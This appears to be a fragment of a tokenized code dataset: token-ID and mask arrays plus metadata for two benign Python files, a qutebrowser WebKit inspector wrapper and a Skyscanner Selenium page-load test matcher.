32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
antoyo/qutebrowser
|
qutebrowser/browser/webkit/webkitinspector.py
|
4
|
1310
|
# vim: ft=python fileencoding=utf-8 sts=4 sw=4 et:
# Copyright 2015-2016 Florian Bruhin (The Compiler) <mail@qutebrowser.org>
#
# This file is part of qutebrowser.
#
# qutebrowser is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# qutebrowser is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with qutebrowser. If not, see <http://www.gnu.org/licenses/>.
"""Customized QWebInspector for QtWebKit."""
from PyQt5.QtWebKitWidgets import QWebInspector
from qutebrowser.browser import inspector
class WebKitInspector(inspector.AbstractWebInspector):
"""A web inspector for QtWebKit."""
def __init__(self, parent=None):
super().__init__(parent)
qwebinspector = QWebInspector()
self._set_widget(qwebinspector)
def inspect(self, page):
self._check_developer_extras()
self._widget.setPage(page)
self.show()
|
gpl-3.0
|
[
3,
6695,
26,
18133,
29,
1548,
570,
2991,
29,
1624,
13,
24,
23014,
29,
20,
5584,
29,
20,
10844,
26,
199,
199,
3,
1898,
6900,
13,
9261,
11040,
269,
5653,
699,
6558,
72,
262,
334,
1918,
27154,
9,
665,
1198,
32,
392,
31127,
14,
1308,
30,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2173,
31127,
14,
199,
3,
199,
3,
2173,
31127,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2173,
31127,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2173,
31127,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
624,
7223,
1759,
1413,
5926,
13962,
15152,
367,
3959,
21666,
1041,
421,
199,
504,
14084,
21,
14,
4238,
21666,
12462,
492,
1413,
5926,
13962,
15152,
199,
199,
504,
2173,
31127,
14,
5750,
492,
5261,
15152,
421,
199,
533,
6001,
14591,
13962,
15152,
8,
26047,
14,
8458,
5926,
13962,
15152,
304,
339,
408,
33,
3330,
5261,
15152,
367,
3959,
21666,
1041,
339,
347,
636,
826,
721,
277,
12,
1676,
29,
403,
304,
267,
1613,
11027,
826,
721,
1708,
9,
267,
1894,
1129,
11329,
15152,
275,
1413,
5926,
13962,
15152,
342,
267,
291,
423,
409,
63,
3440,
8,
81,
1129,
11329,
15152,
9,
339,
347,
6485,
8,
277,
12,
2034,
304,
267,
291,
423,
1074,
63,
11071,
63,
9975,
342,
267,
291,
423,
3440,
14,
409,
3276,
8,
1606,
9,
267,
291,
14,
2384,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
6695,
26,
18133,
29,
1548,
570,
2991,
29,
1624,
13,
24,
23014,
29,
20,
5584,
29,
20,
10844,
26,
199,
199,
3,
1898,
6900,
13,
9261,
11040,
269,
5653,
699,
6558,
72,
262,
334,
1918,
27154,
9,
665,
1198,
32,
392,
31127,
14,
1308,
30,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2173,
31127,
14,
199,
3,
199,
3,
2173,
31127,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2173,
31127,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2173,
31127,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
624,
7223,
1759,
1413,
5926,
13962,
15152,
367,
3959,
21666,
1041,
421,
199,
504,
14084,
21,
14,
4238,
21666,
12462,
492,
1413,
5926,
13962,
15152,
199,
199,
504,
2173,
31127,
14,
5750,
492,
5261,
15152,
421,
199,
533,
6001,
14591,
13962,
15152,
8,
26047,
14,
8458,
5926,
13962,
15152,
304,
339,
408,
33,
3330,
5261,
15152,
367,
3959,
21666,
1041,
339,
347,
636,
826,
721,
277,
12,
1676,
29,
403,
304,
267,
1613,
11027,
826,
721,
1708,
9,
267,
1894,
1129,
11329,
15152,
275,
1413,
5926,
13962,
15152,
342,
267,
291,
423,
409,
63,
3440,
8,
81,
1129,
11329,
15152,
9,
339,
347,
6485,
8,
277,
12,
2034,
304,
267,
291,
423,
1074,
63,
11071,
63,
9975,
342,
267,
291,
423,
3440,
14,
409,
3276,
8,
1606,
9,
267,
291,
14,
2384,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
Skyscanner/pages
|
test/utils/hamcrest_matchers.py
|
1
|
2357
|
############################################################################
# Copyright 2015 Skyscanner Ltd #
# #
# Licensed under the Apache License, Version 2.0 (the "License"); #
# you may not use this file except in compliance with the License. #
# You may obtain a copy of the License at #
# #
# http://www.apache.org/licenses/LICENSE-2.0 #
# #
# Unless required by applicable law or agreed to in writing, software #
# distributed under the License is distributed on an "AS IS" BASIS, #
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #
# See the License for the specific language governing permissions and #
# limitations under the License. #
############################################################################
from hamcrest.core.base_matcher import BaseMatcher
from selenium.common.exceptions import TimeoutException
from pages.page import Page
DEFAULT_POLLING_TIME = 0.5
DEFAULT_TIMEOUT = 25
class PageIsLoaded(BaseMatcher):
def __init__(self, timeout):
BaseMatcher.__init__(self)
self.timeout = timeout
self.polling = DEFAULT_POLLING_TIME
self.page_name = None
def _matches(self, page):
self.page_name = page.name
if isinstance(page, Page):
try:
page.wait_until_loaded(self.timeout, self.polling)
return True
except TimeoutException:
return False
def describe_to(self, description):
description.append_text("Expected page {0} to load within {1} ms".format(self.page_name, str(self.timeout)))
def describe_mismatch(self, item, mismatch_description):
mismatch_description.append_text('page load timed out.')
def with_timeout(self, timeout):
self.timeout = timeout
return self
def with_polling(self, polling):
self.polling = polling
return self
def is_loaded(timeout=30):
return PageIsLoaded(timeout)
|
apache-2.0
|
[
3949,
381,
199,
3,
1898,
6900,
428,
10562,
16378,
12126,
2476,
3322,
327,
199,
3,
6208,
3515,
327,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
3515,
327,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
260,
327,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
22456,
327,
199,
3,
6208,
3515,
327,
199,
3,
259,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
14960,
327,
199,
3,
6208,
3515,
327,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
420,
327,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
263,
327,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
327,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
420,
327,
199,
3,
4204,
1334,
314,
844,
14,
2476,
3698,
327,
199,
3949,
381,
199,
504,
24868,
1353,
270,
14,
1018,
14,
1095,
63,
16135,
492,
3523,
16073,
199,
504,
19481,
14,
2330,
14,
3924,
492,
12878,
1726,
199,
199,
504,
6497,
14,
1606,
492,
10331,
199,
199,
3472,
63,
16428,
1206,
63,
4961,
275,
378,
14,
21,
199,
3472,
63,
8899,
275,
5661,
421,
199,
533,
10331,
1831,
19757,
8,
1563,
16073,
304,
339,
347,
636,
826,
721,
277,
12,
2653,
304,
267,
3523,
16073,
855,
826,
721,
277,
9,
267,
291,
14,
2593,
275,
2653,
267,
291,
14,
17154,
275,
6186,
63,
16428,
1206,
63,
4961,
267,
291,
14,
1606,
63,
354,
275,
488,
339,
347,
485,
6742,
8,
277,
12,
2034,
304,
267,
291,
14,
1606,
63,
354,
275,
2034,
14,
354,
267,
340,
1228,
8,
1606,
12,
10331,
304,
288,
862,
26,
355,
2034,
14,
2573,
63,
8111,
63,
4591,
8,
277,
14,
2593,
12,
291,
14,
17154,
9,
355,
372,
715,
288,
871,
12878,
1726,
26,
355,
372,
756,
339,
347,
13743,
63,
475,
8,
277,
12,
1369,
304,
267,
1369,
14,
740,
63,
505,
480,
6964,
2034,
469,
16,
93,
370,
2248,
4453,
469,
17,
93,
6605,
1674,
908,
8,
277,
14,
1606,
63,
354,
12,
620,
8,
277,
14,
2593,
1724,
339,
347,
13743,
63,
20759,
8,
277,
12,
1242,
12,
15015,
63,
1802,
304,
288,
15015,
63,
1802,
14,
740,
63,
505,
360,
1606,
2248,
18590,
734,
2659,
339,
347,
543,
63,
2593,
8,
277,
12,
2653,
304,
267,
291,
14,
2593,
275,
2653,
267,
372,
291,
339,
347,
543,
63,
17154,
8,
277,
12,
12353,
304,
267,
291,
14,
17154,
275,
12353,
267,
372,
291,
421,
199,
318,
365,
63,
4591,
8,
2593,
29,
1216,
304,
272,
372,
10331,
1831,
19757,
8,
2593,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
